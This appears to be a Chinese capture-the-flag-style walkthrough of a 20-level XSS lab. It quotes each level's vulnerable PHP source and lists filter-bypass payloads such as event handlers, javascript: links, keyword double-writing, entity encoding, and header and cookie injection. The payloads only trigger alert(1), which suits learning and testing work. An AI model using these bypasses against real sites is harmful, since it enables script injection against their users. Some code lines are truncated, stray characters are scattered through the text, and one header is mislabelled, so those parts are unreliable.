XSS挑戰(zhàn)賽解題思路
level1
查看源代碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)井濒!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>歡迎來(lái)到level1</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到name處沒(méi)有任何過(guò)濾淑翼,直接插入payload即可
<script>alert(1)</script>
level2
代碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)寞忿!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>歡迎來(lái)到level2</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到keyword參數(shù)使用了htmlspecialchars()函數(shù)進(jìn)行過(guò)濾
實(shí)例
<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>
以上代碼的HTML輸出如下
也就是說(shuō)<>不能用妓羊,那就換吧
點(diǎn)擊觸發(fā)
鼠標(biāo)滑動(dòng)觸發(fā)
再者就是
就是在構(gòu)造payload時(shí)
將input的文本框本分提前閉合
"><script>alert(1)</script>
level3
雙引號(hào)被過(guò)濾驾讲,查看源碼發(fā)現(xiàn)存在單引號(hào),可以嘗試單引號(hào)閉合>被轉(zhuǎn)譯沿癞,所以試用//閉合
payload
'onclick=alert(1)//
我們來(lái)看下源碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)援雇!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>歡迎來(lái)到level3</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>
比第二關(guān)多了value='".htmlspecialchars($str)."'閉合<"">構(gòu)造script彈窗方法失效了,應(yīng)為value中的<被轉(zhuǎn)義了椎扬,只能利用上題中的js來(lái)構(gòu)造彈窗惫搏,不過(guò)這里需要用單引號(hào)閉合具温,構(gòu)造payload。
level4
可直接使用第二關(guān)的payload
我們來(lái)看看源代碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)筐赔!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>歡迎來(lái)到level4</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str3)."</h3>";
?>
</body>
</html>
可以看到接參數(shù)的時(shí)候多了一步將<>,替換為空铣猩,依然可以使用第二關(guān)的js事件觸發(fā)xss。
str_replace()函數(shù)實(shí)例
所以可以使用的payload
" onfocus=alert(1) autofocus="
" onclick=alert(1) //
level5
查看網(wǎng)頁(yè)源代碼時(shí)發(fā)現(xiàn)on事件被破壞茴丰,但是并未過(guò)濾<>达皿,所以嘗試使用<>構(gòu)造payload
我們來(lái)看下源碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>歡迎來(lái)到level5</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str3)."</h3>";
?>
</body>
</html>
strtolower()函數(shù)
這次大小寫繞過(guò)也失效了贿肩,但是并沒(méi)有過(guò)濾<>鳞绕。所以這里使用偽協(xié)議來(lái)構(gòu)造payload。
"><iframe src=javascript:alert(1)>
"><a href=javascript:alert(1)>
"> <a href="javascript:alert(1)">zhouzhong</a>
"> <a href="javascript:%61lert(1)">zhouzhong</a> //
后面三個(gè)需要點(diǎn)擊
level6
看樣子也是過(guò)濾了on事件和script尸曼,使用偽協(xié)議構(gòu)造payload
發(fā)現(xiàn)href也被過(guò)濾src也被過(guò)濾了
嘗試下大小寫繞過(guò)方式们何,成功彈窗。
接下來(lái)我們看一看源碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)控轿!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>歡迎來(lái)到level6</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str6)."</h3>";
?>
</body>
</html>
可以看到代碼中使用了str_replace(),函數(shù)替換了<script>,on事件 src data href 但是接收參數(shù)的時(shí)候并沒(méi)有使用strtolower() 參數(shù)規(guī)避大小寫的問(wèn)題冤竹,導(dǎo)致可以使用大小寫繞過(guò)成功實(shí)現(xiàn)彈窗。
可以使用的paylaod有
"> <Script>alert(1)</script> //
"> <img Src=x OnError=alert(1)> //
"><a HrEf="javascript:alert(1)">zhouzhong</a>//
" OncliCk=alert(1) //
level7
發(fā)現(xiàn)過(guò)濾了script和on事件茬射,過(guò)濾方式為替換稱空值鹦蠕,大小寫也做了匹配
既然它將我們的關(guān)鍵字替換為空,那我們嘗試下雙寫方式繞過(guò)在抛,果然可以
我們來(lái)看下源碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)钟病!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>歡迎來(lái)到level7</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str6)."</h3>";
?>
</body>
</html>
禁用大小寫
script,on刚梭,src 肠阱,data ,href 都直接轉(zhuǎn)換成空朴读,直接使用雙寫
"><sscriptcript>alert(1)</sscriptcript>
">hello<sscriptcript>alert(1)</sscriptcript>
" oonnmouseover=alert(1)
"><a hrhrefef=javascriscriptpt:alert(1)>zhouzhong</a>
level8
初步嘗試下屹徘,一般的都已經(jīng)被過(guò)濾了,大小寫也嘗試了沒(méi)繞過(guò)去衅金,重點(diǎn)應(yīng)該在href里面
發(fā)現(xiàn)JavaScript被過(guò)濾成javasc_rpt噪伊,所以這里我們嘗試使用實(shí)體編碼繞過(guò)匹配
將r修改成r所以payload為
javascript:alert`1`
在線實(shí)體編碼轉(zhuǎn)換
可以使用的payload還有
javascript:alert(1)
javascript:alert`1`
javascript:alert`1`
接下來(lái)我們看看源碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>歡迎來(lái)到level8</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str7)."</h3>";
?>
</body>
</html>
script 轉(zhuǎn)換成 scr_ipt
on 轉(zhuǎn)換成 o_n
src 轉(zhuǎn)換成 sr_c
data 轉(zhuǎn)換成 da_ta
href 轉(zhuǎn)換成 hr_ef
大小寫失效
" 還被編碼氮唯,但是尖括號(hào)<> 鉴吹,單引號(hào) ’ ,% ,# 惩琉,& 符號(hào)沒(méi)有被過(guò)濾豆励,輸出點(diǎn)在a標(biāo)簽內(nèi),href屬性中琳水,
屬性中雙引號(hào)被轉(zhuǎn)換成HTML實(shí)體肆糕,無(wú)法截?cái)鄬傩园愣眩覀兛梢允褂脜f(xié)議繞過(guò)javascript:alert在孝,由于script關(guān)鍵字被過(guò)濾.javascript會(huì)被替換成javasc_rpt诚啃,我們使用r來(lái)代替r ,可以直接用上面的payload嘗試
level9
我們還是先看看源碼吧
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>歡迎來(lái)到level9</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的鏈接不合法私沮?有沒(méi)有始赎!">友情鏈接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str7)."</h3>";
?>
</body>
</html>
看了源碼之后才知道和上一關(guān)大同小異,只是存在檢測(cè)http://仔燕。不存在的花會(huì)報(bào)鏈接不合法造垛,所以在構(gòu)造payload可以嘗試添加上,成功彈窗
構(gòu)造payload
javascript:alert(1)//http://xxx.com //利用注釋
javascript:%0dhttp://xxx.com%0dalert(1) //不利用注釋
level10
我們還是先來(lái)看看源碼吧
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>歡迎來(lái)到level10</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>
仔細(xì)觀察我們可以看到可以利用的參數(shù)是str33晰搀,也就是t_sort這個(gè)參數(shù)五辽。是隱藏屬性
這個(gè)參數(shù)過(guò)濾了<>。所以我們可以構(gòu)造payload
keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)
成功實(shí)現(xiàn)彈窗
level11
我們還是先來(lái)看代碼吧
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)止潘!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>歡迎來(lái)到level11</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到這次輸出點(diǎn)在http_refferer處疚颊,可以直接調(diào)用上一關(guān)的payload
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
可以看到成功彈窗
level12
我們還是來(lái)看代碼吧
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)磅摹!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>歡迎來(lái)到level12</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到這里把輸出點(diǎn)放在了http_user_agent上,原理與level11基本相同罪郊,所以還是通過(guò)bp改包,達(dá)到彈窗的效果尚洽,payload可以直接用上一關(guān)的
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
level13
我們來(lái)看源碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)悔橄!");
window.location.href="level14.php";
}
</script>
<title>歡迎來(lái)到level13</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>
從代碼中可以看出這次的輸出點(diǎn)在cookies的user中,原來(lái)和前兩關(guān)一致腺毫,所以可以直接用上面的payload
``
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
bp中改包

成功彈窗

#level14

一眼看上去很高大上的樣子癣疟,我們還是來(lái)看看源碼吧
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>歡迎來(lái)到level14</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>這關(guān)成功后不會(huì)自動(dòng)跳轉(zhuǎn)。成功者<a href=/xsschallenge/level15.php?src=1.gif>點(diǎn)我進(jìn)level15</a></center>
</body>
</html>
實(shí)在沒(méi)什么頭緒潮酒,還好網(wǎng)上已經(jīng)有大佬解決了
[level14](https://xz.aliyun.com/t/1206#toc-12)

但是為啥我的不會(huì)出現(xiàn)上傳點(diǎn)争舞,??,希望有大佬可以指導(dǎo)下
#level15

我們還是來(lái)看看源碼吧
<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)澈灼!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>歡迎來(lái)到level15</title>
</head>
<h1 align=center>歡迎來(lái)到第15關(guān)竞川,自己想個(gè)辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
從代碼上看似乎可以控制的點(diǎn)在src這個(gè)參數(shù)上叁熔。但是沒(méi)想明白這個(gè)怎么用委乌,看了下網(wǎng)上大佬的解法。
這題有angular js荣回,然后ng-include相當(dāng)于php的include函數(shù)遭贸,然后src參數(shù)被轉(zhuǎn)譯了,最終我們可以通過(guò)include
level1然后在用img標(biāo)簽傳xss
payload
http://localhost/XSS/level15.php?src=%27level1.php?name=%3Cimg%20src=1%20onerror=alert(1)%3E%27
#level16

源碼
<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)心软!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>歡迎來(lái)到level16</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level16</h1>
<?php
ini_set("display_errors", 0);
_GET["keyword"]);
str);
str2);
str3);
str4);
echo "<center>".str5)."</h3>";
?>
</body>
</html>
這里我們可以觀察到script被過(guò)濾 / 空格 被過(guò)濾壕吹。我們可以用上一關(guān)的img標(biāo)簽,以及%0a繞過(guò)空格
payload
<img%0asrc=1%0aonerror=alert(1)>
#level17

源碼
<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)著蛙!");
}
</script>
<title>歡迎來(lái)到level17</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>點(diǎn)我進(jìn)入下一關(guān)</a></h2>
</body>
</html>
這個(gè)直接在embed標(biāo)簽中插入onmouseover事件
http://localhost/XSS/level17.php?arg01=a&arg02=b%20onmouseover=alert(1)

#level18

看源碼
<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)耳贬!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>歡迎來(lái)到level18</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
這不是和level17差不多么
直接用上一關(guān)的payload
http://localhost/XSS/level18.php?arg01=a&arg02=b%20onmouseover=alert(1)

#level19

看代碼
<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)踏堡!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>歡迎來(lái)到level19</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars(_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
flash xss,需要對(duì)flash的反編譯對(duì)源碼進(jìn)行分析,這里使用[jpexs-decomplier](https://github.com/jindrapetrik/jpexs-decompiler)來(lái)分析咒劲。
sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追蹤到sIFR的內(nèi)容,省略了一些代碼顷蟆,關(guān)鍵代碼如下:
if(loc5 && _root.version != sIFR.VERSION)
{
loc4 = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version參數(shù)可以傳入loc4變量中,即sIFR的內(nèi)容中腐魂,但是getURL 只在內(nèi)容為link時(shí)帐偎,打開,故定位以下函數(shù):
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
} //大體意思是要geturl得用a標(biāo)簽吧蛔屹。
首先分析geturl函數(shù)
追蹤到sIFR的內(nèi)容
得知version參數(shù)可以傳入loc4變量中削樊,即sIFR的內(nèi)容中,但是getURL只在內(nèi)容為link時(shí)打開兔毒,所以分析contentIsLink函數(shù)
所以我們可以構(gòu)造 標(biāo)簽來(lái)傳值

#level20
payload
%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
[參考](https://www.freebuf.com/sectool/108568.html)